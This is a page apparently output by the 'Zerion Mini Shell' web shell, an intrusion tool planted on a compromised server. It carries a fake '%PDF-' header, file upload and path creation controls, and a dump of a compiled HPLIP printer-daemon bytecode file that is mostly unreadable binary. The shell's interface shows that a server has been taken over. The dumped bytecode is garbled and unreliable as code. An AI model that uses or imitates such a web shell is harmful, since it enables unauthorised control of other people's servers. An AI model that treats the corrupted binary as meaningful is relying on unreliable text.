%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/__pycache__/hpdio.cpython-312.pyc

�

=	f&��(�dZdZdZdZddlZddlZddlZddlZddlm	Z	ddl
Z
ddlmZm
Z
ddl�ddl�dd	lmZmZmZmZdd
lmZ	ddlmZmZdZdZd\a a!iZ"dd�Z#		dd�Z$y#e$r&ej9d�ej:d
�Y�@wxYw)z0.1z8Services and Status System Tray Device I/O Child Process�hpdiozBProvides device I/O process isolation for system tray application.�N)�queue)�dumps�HIGHEST_PROTOCOL)�*)�utils�device�status�models)�PY3)�lowlevel�
SessionBuszAdbus failed to load (python-dbus ver. 0.80+ required). Exiting...�i)NNc��|d|tjddd|g}tjddd�}|j|ddi�t�j
|�y)N�r�/zcom.hplip.StatusService�Event�	signature�ssisissi)�prop�usernamer
�
SignalMessage�appendr�send_message)�
device_uri�
event_code�
bytes_written�args�msgs     �/usr/share/hplip/hpdio.pyrr:sT����J��
�
�q�"�b�-�P�D�
�
 �
 ��&?��
I�C��C�J�J�d�+��+��L���c�"�c	�J
�tjd�	tjd�tj	dtj
�z�||caad}tj|�}i}d}d}		tjtggtgd�\}}}	|s�+|	rytjt|�}|syt!|�|k\�r�|j#�t%j&tj(||d|�D�
cgc]4}
t+|
t,�r |
j/d	�j1d
�n|
��6c}
�}||d}|j2}t4r
|j6}
nt9|j6�}
tj	d�|j	�t;|
t<�|t>t@fvr�		tB|
}	|jI�|jTtPk(rtN|_+n�|t>k(r�	|jY�|j\}tj	d|jTz�tj	d|jZz�tj	d|jVz�n	|j_�ddi}	|�N|ja�n=|tbk(rn3|tdk(r*tj	d�tgjhd�t;|
tj�|t>k(r�tm|tn�}tj	d�d}	|tjpt|dtr�z
}|trd}|sn�1tj	d|z�t;|
tt|�n
|t@k(r	t!|�|k\r��א�2#t$rYytj$r&}	|	dtjk(rYd}	~	��lYd}	~	yd}	~	wwxYwcc}
w#tD$r$t%jF|
d�
�x}tB|
<Y��RwxYw#tJ$r<}	tj|	jL�tNtPtRd�}Yd}	~	���d}	~	wwxYw#tJ$rC}	tjd|	jLz�tN|_+tR|_-Yd}	~	���d}	~	wwxYw#tJ$r8}	tjd|	jLz�tN|_+Yd}	~	��Wd}	~	wwxYw#t$rtj	d�YywxYw)N�Izhp-systray(hpdio)zPID=%d�80s80sI32sI80sfrTg�?r�zutf-8zHandling event...r)�disable_dbus)zerror-statezdevice-statezstatus-codezQuery device error (%s).zDevice state = %dzStatus code = %dzError state = %d�testzPoll device error (%s).�Exitingz%Sending data through pipe to hpssd...zWrote %d byteszCtrl-C: Exiting...);�os�umask�log�
set_module�debug�getpid�r2�w3�struct�calcsize�select�KeyboardInterrupt�error�errno�EINTR�read�len�clearr	r�unpack�
isinstance�bytes�rstrip�decoderrr�strr�EVENT_DEVICE_UPDATE_ACTIVE�EVENT_DEVICE_UPDATE_REQUESTED�EVENT_POLLING_REQUEST�devices�KeyError�Device�open�Errorr�ERROR_STATE_ERROR�DEVICE_STATE_NOT_FOUND�EVENT_ERROR_DEVICE_IO_ERROR�device_state�error_state�queryDevice�status_code�dq�
pollDevice�close� EVENT_USER_CONFIGURATION_CHANGED�EVENT_SYSTEMTRAY_EXIT�sys�exit�EVENT_DEVICE_UPDATE_INACTIVErr�write�PIPE_BUF�EVENT_DEVICE_UPDATE_REPLY)�
read_pipe2�write_pipe3�fmt�fmt_size�response�dev�m�r�w�e�x�event�actionr�data�
total_writtens                r �runrjAsq��
�H�H�U�O�G(����*�+��	�	�(�R�Y�Y�[�(�)��[���B����?�?�3�'���������
� �-�-���b�2�$��<���1�a��h��%�����H�%�A����a�&�H�$���� ����qw�q~�q~�@C�EF�GP�HP�EQ�rR�'S�lm�J�WX�Z_�L`�q�x�x��'8�'?�'?��'H�fg�'g�'S�T���h�i�L���)�)���"'�"2�"2�Z�"%�e�&6�&6�"7�Z��	�	�-�.����
��Z�)C�D��;�=R�S�S��e�")�*�"5�C�U��H�H�J��+�+�/E�E�.?�C�O�%�)F�F�!R�$'�O�O�$5�,/�6�6��!$�	�	�*=��@P�@P�*P� Q� #�	�	�*<�s���*N� O� #�	�	�*<�s���*N� O�!<�$'�N�N�$4�17��|�H���?��I�I�K��?�?���4�4��I�I�i�(��H�H�Q�K��Z�)E�F��:�:� ��+;�<�D��I�I�E�F�$%�M��%����"�d�9�H�o�)F�F�
�#�H�I���#�!�	��I�I�.��>�?� ��-F�
�V��4�4��M�a�&�H�$�#��%�
���<�<�
��Q�4�5�;�;�&����	
��'S��* (�e�8>�
�
�j�_c�8d�d�C�'�*�"5�e�� %�U��I�I�a�e�e�,�7H�8N�8S�(U�H��U��(-�!R�$'�I�I�.H�1�5�5�.P�$Q�6G�C�O�6Q�C�O�O��!R�� (-�!H�$'�I�I�.G�!�%�%�.O�$P�6G�C�O�O��!H��\�(��	�	�&�'�(�s�A"T�:&N+� T�&T�A	T�9O1�BT�	O6�P&�!(T�
Q.�A3T�R=�D	T�)T�+	O.�4T�6O.�O)�
T�)O.�.T�6)P#�T�"P#�#T�&	Q+�/1Q&� T�&Q+�+T�.	R:�78R5�/T�5R:�:T�=	S>�-S9�3T�9S>�>T�T"�!T")r)%�__version__�	__title__�__mod__�__doc__rUr1r)�time�base.sixext.movesrr3�picklerr�base.g�
base.codes�baserr	r
r�base.sixextr�dbusr
r�ImportErrorr+r5rVrY�session_busr/r0rDrrj�r!r �<module>rzs���.��F�	�
��
N���
�	��#�
�*���.�.���)�����	���B�
��#���N(��%���I�I�Q�R��C�H�H�Q�K��s�A&�&(B�B

Zerion Mini Shell 1.0